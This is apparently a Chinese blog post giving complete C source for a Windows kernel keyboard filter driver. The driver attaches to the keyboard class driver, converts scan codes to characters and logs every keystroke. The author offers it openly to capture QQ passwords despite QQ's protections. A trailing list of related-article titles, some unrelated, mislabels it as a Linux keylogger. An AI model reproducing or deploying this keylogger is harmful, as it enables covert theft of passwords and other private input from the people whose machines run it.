由于 QQ 密码做了特殊的保护,所以通过远程注入得到密码框内容以及通过钩子来得到键盘消息均不能探测到 QQ 的密码,但是通过对键盘驱动的过滤却是可以记录下 QQ 密码输入期间的内容,附上源码。

#define DBG 1

#include

#include

#include "KeyMonitor.h"

extern POBJECT_TYPE IoDriverObjectType;

PIO_STACK_LOCATION g_islCompletion;

int g_caps, g_shift, g_num;

unsigned char asciiTbl[]={

0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal

0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,

0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,

0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,

0x32, 0x33, 0x30, 0x2E,

0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps

0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,

0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,

0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,

0x32, 0x33, 0x30, 0x2E,

0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift

0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,

0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,

0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,

0x32, 0x33, 0x30, 0x2E,

0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift

0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,

0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,

0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,

0x32, 0x33, 0x30, 0x2E

};

NTSTATUS

ObReferenceObjectByName (

__in PUNICODE_STRING ObjectName,

__in ULONG Attributes,

__in_opt PACCESS_STATE AccessState,

__in_opt ACCESS_MASK DesiredAccess,

__in POBJECT_TYPE ObjectType,

__in KPROCESSOR_MODE AccessMode,

__inout_opt PVOID ParseContext,

__out PVOID *Object

);

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject);

NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath);

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp);

NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);

void KMPrintKey(UCHAR sch);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)

{

int i = 0;

KdPrint(("This is my driver, Henzox!\n"));

pDriverObject->DriverUnload = KMUnload;

for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) {

pDriverObject->MajorFunction[i] = KMUnHandleIrp;

}

pDriverObject->MajorFunction[IRP_MJ_CREATE] = KMOpenClose;

pDriverObject->MajorFunction[IRP_MJ_CLOSE] = KMOpenClose;

pDriverObject->MajorFunction[IRP_MJ_PNP] = KMPnp;

pDriverObject->MajorFunction[IRP_MJ_POWER] = KMPower;

pDriverObject->MajorFunction[IRP_MJ_READ] = KMRead;

return KMAddDevice(pDriverObject, puServiceRegPath);

}

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject)

{

PDEVICE_OBJECT tmpDevice;

PMY_DEVICE_EXTENSION myDeviceExtension;

KdPrint(("The unload function is invoked!\n"));

tmpDevice = pDriverObject->DeviceObject;

while (tmpDevice) {

PDEVICE_OBJECT nextDevice;

KdPrint(("delete devobj: 0x%p.\n",tmpDevice));

myDeviceExtension = (PMY_DEVICE_EXTENSION)tmpDevice->DeviceExtension;

// 如果还有完成例程没有执行,则取消掉这个完成例程

if (myDeviceExtension->IslCompletion) {

myDeviceExtension->IslCompletion->CompletionRoutine = NULL;

// 只去掉与完成例程相关的几个标志位,栈内的其它标志位非常重要,不能去除

myDeviceExtension->IslCompletion->Control &= ~(SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_ERROR);

}

IoDetachDevice(myDeviceExtension->AttachedTo);

nextDevice = tmpDevice->NextDevice;

IoDeleteDevice(tmpDevice);

tmpDevice = nextDevice;

}

}

NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

KdPrint(("Irp: %d\n", IoGetCurrentIrpStackLocation(Irp)->MajorFunction));

IoSkipCurrentIrpStackLocation(Irp);

return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);

}

NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

KdPrint(("KMOpenClose.\n"));

Irp->IoStatus.Status = STATUS_SUCCESS;

Irp->IoStatus.Information = 0;

IoCompleteRequest(Irp, IO_NO_INCREMENT);

return STATUS_SUCCESS;

}

NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

PIO_STACK_LOCATION pIo = IoGetCurrentIrpStackLocation(Irp);

KdPrint(("KMPnp.\n"));

switch (pIo->MinorFunction) {

default:

IoSkipCurrentIrpStackLocation(Irp);

IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);

break;

}

return STATUS_SUCCESS;

}

NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

KdPrint(("KMPower.\n"));

IoSkipCurrentIrpStackLocation(Irp);

PoStartNextPowerIrp(Irp);

return PoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);

}

NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)

{

UNICODE_STRING usObjectName;

PDRIVER_OBJECT KbdDriver;

NTSTATUS status;

PDEVICE_OBJECT tmpDevice, myDevice;

UNICODE_STRING usDeviceName;

WCHAR buff[64];

int index = 0;

PMY_DEVICE_EXTENSION DeviceExtension;

RtlInitUnicodeString(&usObjectName, L"\\Driver\\KbdClass");

status = ObReferenceObjectByName(&usObjectName,

OBJ_CASE_INSENSITIVE,

NULL,

0,

IoDriverObjectType,

KernelMode,

NULL,

(PVOID)&KbdDriver);

if (!NT_SUCCESS(status)) {

KdPrint(("Find the kbd class failed!\n"));

return status;

}

tmpDevice = KbdDriver->DeviceObject;

while (tmpDevice) {

swprintf(buff, L"\\Device\\MyDevice%d", index++);

RtlInitUnicodeString(&usDeviceName, buff);

status = IoCreateDevice(pDriverObject,

sizeof(MY_DEVICE_EXTENSION),

&usDeviceName,

tmpDevice->DeviceType,

tmpDevice->Characteristics,

FALSE,

&myDevice);

if (!NT_SUCCESS(status)) {

ObDereferenceObject(KbdDriver);

return status;

}

KdPrint(("devobj: 0x%p.\n",myDevice));

IoAttachDeviceToDeviceStack(myDevice, tmpDevice);

DeviceExtension = (PMY_DEVICE_EXTENSION)myDevice->DeviceExtension;

DeviceExtension->AttachedTo = tmpDevice;

/* Setup my device */

myDevice->StackSize = tmpDevice->StackSize + 1;

myDevice->Flags |= (tmpDevice->Flags & (DO_BUFFERED_IO));   // 在 IoCreateDevice 时 Flags 会被赋于一些标志,这里应该保留这些标志,(如 DO_DEVICE_HAS_NAME 等,牵涉到引用计数)

tmpDevice = tmpDevice->NextDevice;

}

ObDereferenceObject(KbdDriver);

return STATUS_SUCCESS;

}

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)

{

PMY_DEVICE_EXTENSION myDeviceExtension;

//KdPrint(("KMRead.\n"));

myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;

IoCopyCurrentIrpStackLocationToNext(Irp);

/* 只有驱动可以保证在完成例程被调用之前不被卸载的情况下,可以使用 IoSetCompletionRoutine,

如果你不能保证,那么就需要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/

/*IoSetCompletionRoutine(Irp,

KMReadCompletion,

NULL,

TRUE,

TRUE,

TRUE);*/

IoSetCompletionRoutineEx(DeviceObject,

Irp,

KMReadCompletion,

NULL,

TRUE,

TRUE,

TRUE);

myDeviceExtension->IslCompletion = IoGetNextIrpStackLocation(Irp);

return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);

}

NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)

{

PMY_DEVICE_EXTENSION myDeviceExtension;

PUCHAR buff;

int len;

//KdPrint(("KMReadCompletion: Key--0x%p\n", *(PULONG)Irp->AssociatedIrp.SystemBuffer));

/* 该次 IRP 的完成例程已执行,栈会在该函数执行完时自动清空,所以不应该在引用该栈 */

myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;

myDeviceExtension->IslCompletion = NULL;

if (NT_SUCCESS(Irp->IoStatus.Status)) {

// 由于设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区

buff = Irp->AssociatedIrp.SystemBuffer;

// 返回值一般都保存在 Information 中,即长度

len = Irp->IoStatus.Information;

if (buff[4] == 0) {

/* 键盘被按下 */

switch (buff[2]) {

case 0x3A:

g_caps = (g_caps == 1)?0:1;

break;

case 0x2A:

case 0x36:

g_shift = 1;

break;

case 0x45:

g_num = (g_num == 1)?0:1;

break;

default:

KMPrintKey(buff[2]);

break;

}

} else if (buff[4] == 1) {

/* 键盘被释放 */

switch (buff[2]) {

case 0x2A:

case 0x36:

g_shift = 0;

break;

default: break;

}

}

}

if (Irp->PendingReturned) {

IoMarkIrpPending(Irp);

}

return Irp->IoStatus.Status;

}

void KMPrintKey(UCHAR sch)

{

UCHAR ch = 0;

if ((sch < 0x47) || ((sch >= 0x47 && sch < 0x54) && g_num==0)) {

ch = asciiTbl[sch];

if(g_shift && g_caps)

ch = asciiTbl[sch+84*3];

else if(g_shift==1)

ch = asciiTbl[sch+84*2];

else if(g_caps==1)

ch = asciiTbl[sch+84];

}

if(ch==0x08)

{

//DbgPrint("退格");

}

if (ch >= 0x20 && ch < 0x7F)

{

DbgPrint("%C",ch);

}

}

linux系统键盘记录器,可截获到 QQ 密码 键盘记录器源码相关推荐

  1. 针对linux系统中/usr/src/kernels中找不到内核源码的问题

    在安装系统后,发现没有安装当前系统的内核源码在/usr/src/kernels目录下,其实我们是少安装了一个rpm包: 首先在配置好自己电脑的源后,然后针对不同系统安装下面提示的包就可以了: 针对ce ...

  2. QQ密码记录程序源码

    最近看了看c++,写个程序玩玩.因为用户态代码不好截取到qq密码,写个键盘分层驱动.试了试效果还可以. 开发环境 vs2008 winddk ddkwizard windowsxp Dbgview 实 ...

  3. mysql隐藏密码_MySQL在Linux系统中隐藏命令行中的密码的方法

    在命令行中输入命令并不是一个好主意,会造成安全问题.但是如果你决定去写一个应用,而这个应用需要在命令行中使用密码或者其他敏感信息.那么,你能通过以下方法禁止系统的其他用户轻易的看到这些敏感数据 呢?, ...

  4. 在Linux系统下更改或更新SSH密钥密码的方法

    本文介绍如何在Linux系统下更新或更改SSH密钥密码,也适用在Unix系统中.SSH密钥通常用于向某些信息系统的用户进行身份验证,SSH密钥本身是私钥,使用从密码短语导出的对称加密密钥进一步加密私钥 ...

  5. Linux系统shell脚本之批量修改服务器密码

    Linux系统shell脚本之批量修改服务器密码 一.脚本要求 二.脚本内容 三.编辑原始旧密码 四.执行脚本 五.验证密码更改 1.查看更改后的密码文件 2.在远端服务器验证密码 一.脚本要求 可以 ...

  6. 前后端分离 Spring Boot + Vue 开发网易云QQ音乐(附源码)!

    点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试文章 作者|xiangzhihong segmentfault.com/ ...

  7. 牛皮!竟然有大佬基于 Spring Boot + Vue 开发了一套网易云amp;QQ音乐(附源码)。。。...

    来源:segmentfault.com/a/1190000021376934 # 前言 虽然 B/S 是目前开发的主流,但是 C/S 仍然有很大的市场需求.受限于浏览器的沙盒限制,网页应用无法满足某些 ...

  8. 帝国CMS整站|手机号/QQ靓号商城源码|适配移动端

    简介: 基于帝国CMS开发的QQ号码交易网站系统源码,不仅可以用来做QQ靓号交易平台: 源码改一改还可以做手机号码, YY号码等虚拟号码交易平台,号源可以找靓号贩子合作: 就QQ号而言现在拿得出手的好 ...

  9. 个人仿QQ引导页html源码极速安装【美观大气】

    一.名称:个人仿QQ引导页html源码极速安装[美观大气] 二.作用: 可通过vip盈利,可集成到自己的网站上做客服系统. 可修改成导航页面,引导页面 打赏页面 可选择自己喜欢的图片 搜索引擎可收录 ...

最新文章

  1. java slfj教程_SLF4J入门程序
  2. 第十一章:集合(一)
  3. golang中的plugin包
  4. 创建存储过程批量插入数据
  5. 精典的SQL语句(转)
  6. 排除瓶颈和加速django项目
  7. Hadoop之NameNode和SecondaryNameNode工作机制详解
  8. 虚拟化容器Docker的安全性讨论
  9. Linux系统断电后起不来,centos/linux 断电后,开机光标闪现不能开启,重新引导
  10. java客户端_Java常用的Http client客户端
  11. import librosa出错解决方案
  12. webpack的安装
  13. 水很深的深度学习(四)——卷积神经网络CNN
  14. APUE读书笔记-06系统数据文件和信息-03加密密码
  15. Centos 6 之samba 搭建
  16. DM使用过程中几个常见的问题
  17. 在 MQL5 中使用 WININET。第二部分:POST 请求和文件
  18. ufs 固态硬盘_看够了UFS/eMMC纠纷 再看笔记本固态硬盘速度的区别吧
  19. Web3 – The Decentralized Web
  20. 二维数组传参 实例详解

热门文章

  1. php面试编程题_PHP程序员面试题(经典汇总,mysql为主)
  2. cygwin和mingw的区别
  3. bbb 烧写脚本分析
  4. Wince6 Eboot中加入开机画面
  5. java arraylist范围_Java常见集合之ArrayList深入分析
  6. 【转】C#中[STAThread]的作用
  7. SharePoint关于publish page, WiKi page, Web part page区别
  8. 一步步编写操作系统 24 编写内核加载器
  9. 如何将C语言翻译成汇编语言,如何把汇编语言转换成C语言
  10. Php点击更换封面,JavaScript_js实现点击图片改变页面背景图的方法,本文实例讲述了js实现点击图 - phpStudy...